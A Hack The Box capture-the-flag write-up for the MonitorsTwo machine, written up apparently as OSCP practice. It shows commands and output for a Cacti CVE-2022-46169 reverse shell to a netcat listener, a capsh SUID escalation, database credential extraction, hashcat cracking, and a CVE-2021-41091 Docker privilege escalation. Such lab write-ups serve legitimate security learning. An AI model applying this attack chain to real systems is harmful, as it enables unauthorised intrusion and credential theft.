HTB: MonitorsTwo

Taking somewhat of a break from NetSecFocus boxes for OSCP preparation, I’ve decided to tackle any live Easy/Medium machines on HTB as I go along before they expire, to grab some points on top of the experience towards OSCP. MonitorsTwo had a couple of days left in its schedule, so I thought I’d give it a go.

Started off with standard nmap scan:

u01@nostromo:~$ sudo nmap -p- -A monitorstwo.htb -oA monitorstwo/monitorstwo
[sudo] password for u01: 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-29 16:32 EDT
Nmap scan report for monitorstwo.htb (10.10.11.211)
Host is up (0.032s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=8/29%OT=22%CT=1%CU=39413%PV=Y%DS=2%DC=T%G=Y%TM=64EE562
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=105%GCD=2%ISR=106%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11
OS:NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE8
OS:8%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53
OS:CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(
OS:R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F
OS:=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T
OS:=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RI
OS:D=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 49.22 ms 10.10.14.1
2 49.37 ms monitorstwo.htb (10.10.11.211)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.03 seconds

Pretty standard offering, HTTP and SSH. Browsing to the site, we’re dealing with Cacti v 1.2.22, an “open-source, web-based network monitoring, performance, fault and configuration management framework”.

I try a few default credentials found online, but no access. Searchsploit quickly reveals some options:

u01@nostromo:~$ searchsploit cacti 1.2
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Cacti 1.2.12 - 'filter' SQL Injection | php/webapps/49810.py
Cacti 1.2.8 - Authenticated Remote Code Execution | multiple/webapps/48144.py
Cacti 1.2.8 - Remote Code Execution | php/webapps/48128.py
Cacti 1.2.8 - Unauthenticated Remote Code Execution | multiple/webapps/48145.py
Cacti v1.2.22 - Remote Command Execution (RCE) | php/webapps/51166.py
Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit) | php/webapps/48159.rb
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------

A little digging into the RCE reveals CVE-2022-46169, a “command injection vulnerability allowing an unauthenticated user to execute arbitrary code”. Sounds good!

After some failed attempts at running the searchsploit Python script, I Googled some other options and came across an exploit provided by FredBrave on GitHub.This worked straight away in conjunction with a netcat listener, giving me a shell as www-data:

u01@nostromo:~/monitorstwo/CVE-2022-46169-CACTI-1.2.22$ python CVE-2022-46169.py -u http://monitorstwo.htb --LPORT 7777 --LHOST 10.10.14.12
Checking...
The target is vulnerable. Exploiting...
Bruteforcing the host_id and local_data_ids
Bruteforce Success!!

u01@nostromo:~$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.211] 38186
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@50bca5e748b0:/var/www/html$


From here I performed some manual enumeration, searched for passwords, dug into some config files, but eventually opted to run LinPEAS, the most interesting outputs from which were:

╔══════════╣ Unexpected in root
/.dockerenv 
/entrypoint.sh

╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid 
strace Not Found 
-rwsr-xr-x 1 root root 87K Feb 7 2020 /usr/bin/gpasswd 
-rwsr-xr-x 1 root root 63K Feb 7 2020 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 52K Feb 7 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 58K Feb 7 2020 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Feb 7 2020 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 31K Oct 14 2020 /sbin/capsh
-rwsr-xr-x 1 root root 55K Jan 20 2022 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 35K Jan 20 2022 /bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 71K Jan 20 2022 /bin/su

entrypoint.sh stood out as interesting, so took a look there first:

www-data@50bca5e748b0:/$ cat /entrypoint.sh 
cat /entrypoint.sh
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi

exec "$@"

My understanding of an entrypoint script is a script that is executed when a docker container is run. This script looks like it initialises the MySQL database that Cacti uses on startup, and obviously shows that root:root will likely give us root access to that database.

However, I first investigated the unusual SUID entry that LinPEAS highlighted for capsh. Using GTFOBins section on capsh, this was an easy escalation to the container’s root:

www-data@50bca5e748b0:/var/www/html$ cd /sbin/
cd /sbin/
www-data@50bca5e748b0:/sbin$ ./capsh --gid=0 --uid=0 --
./capsh --gid=0 --uid=0 --
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

I ran LinPEAS once more as root, but really it was unnecessary, as the correct vector seemed to be back at entrypoint.sh (although rooting the container would come in useful later for the host privesc).

I took the (kindly) supplied mysql commands in entrypoint.sh, and modified the excuted command to first view the tables, and then dig in further to find any username/credentials:

www-data@50bca5e748b0:/var/www/html$ mysql --host=db --user=root --password=root cacti -e "SHOW TABLES" 
< --user=root --password=root cacti -e "SHOW TABLES"
Tables_in_cacti
aggregate_graph_templates
aggregate_graph_templates_graph
aggregate_graph_templates_item
aggregate_graphs
…

www-data@50bca5e748b0:/var/www/html$ mysql --host=db --user=root --password=root cacti -e "SELECT * FROM user_auth"
< --password=root cacti -e "SELECT * FROM user_auth"
id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms
1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson admin@monitorstwo.htb on on on on on 2 1 1 1 1 on -1 -1 -1 0 0 663348655
3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 3 1 1 1 1 1 -1 -1 -1 0 0 0
4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune marcus@monitorstwo.htb on on on on 1 1 1 1 1 on -1 -1 on 0 0 2135691668

So we now have two interesting usernames with password hashes. This being a CTF, it seemed like a logical link that there might be credential reuse for the user marcus on the host. So we go about cracking the hash with hashcat:

hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt 

...

2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70Jonsd...hFYK4C
Time.Started.....: Wed Aug 30 08:43:48 2023 (1 min, 38 secs)
Time.Estimated...: Wed Aug 30 08:45:26 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 87 H/s (5.19ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8528/14344385 (0.06%)
Rejected.........: 0/8528 (0.00%)
Restore.Point....: 8512/14344385 (0.06%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-1024
Candidate.Engine.: Device Generator
Candidates.#1....: mark123 -> funkymonkey
Hardware.Mon.#1..: Util: 92%

And sure enough, marcus:funkymonkey gives us direct SSH access to the host.

marcus@monitorstwo:~$ id 
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus) 
marcus@monitorstwo:~$

From here we can grab the user.txt flag.

It’s again back to LinPEAS and LinEnum. Eventually checking the Docker version ( 20.10.5+dfsg1, build 55c4c88) reveals a lead in the form of CVE-2021-41091, “where the data directory (typically `/var/lib/docker`) contained subdirectories with insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs”. Another Google search of the CVE brings me to UncleJ4ck/CVE-2021-41091: POC for CVE-2021-41091 (github.com).

Following the provided instructions, the previous rooting of the container comes in handy, as we use the elevated privileges to perform the required setuid on /bin/bash, copy and paste the exploit script into the host, and execute to gain root and root.txt flag:

marcus@monitorstwo:~$ chmod +x poc.sh 
marcus@monitorstwo:~$ ./poc.sh 
[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)

Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged

[!] Iterating over the available Overlay2 filesystems !
[?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'

[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Rooted !
[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'

[!] Spawning Shell
bash-5.1# exit
marcus@monitorstwo:~$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus)
bash-5.1# cd /root
bash-5.1# ls
cacti root.txt
bash-5.1# cat root.txt
defde************************************

Leave a Reply

Your email address will not be published. Required fields are marked *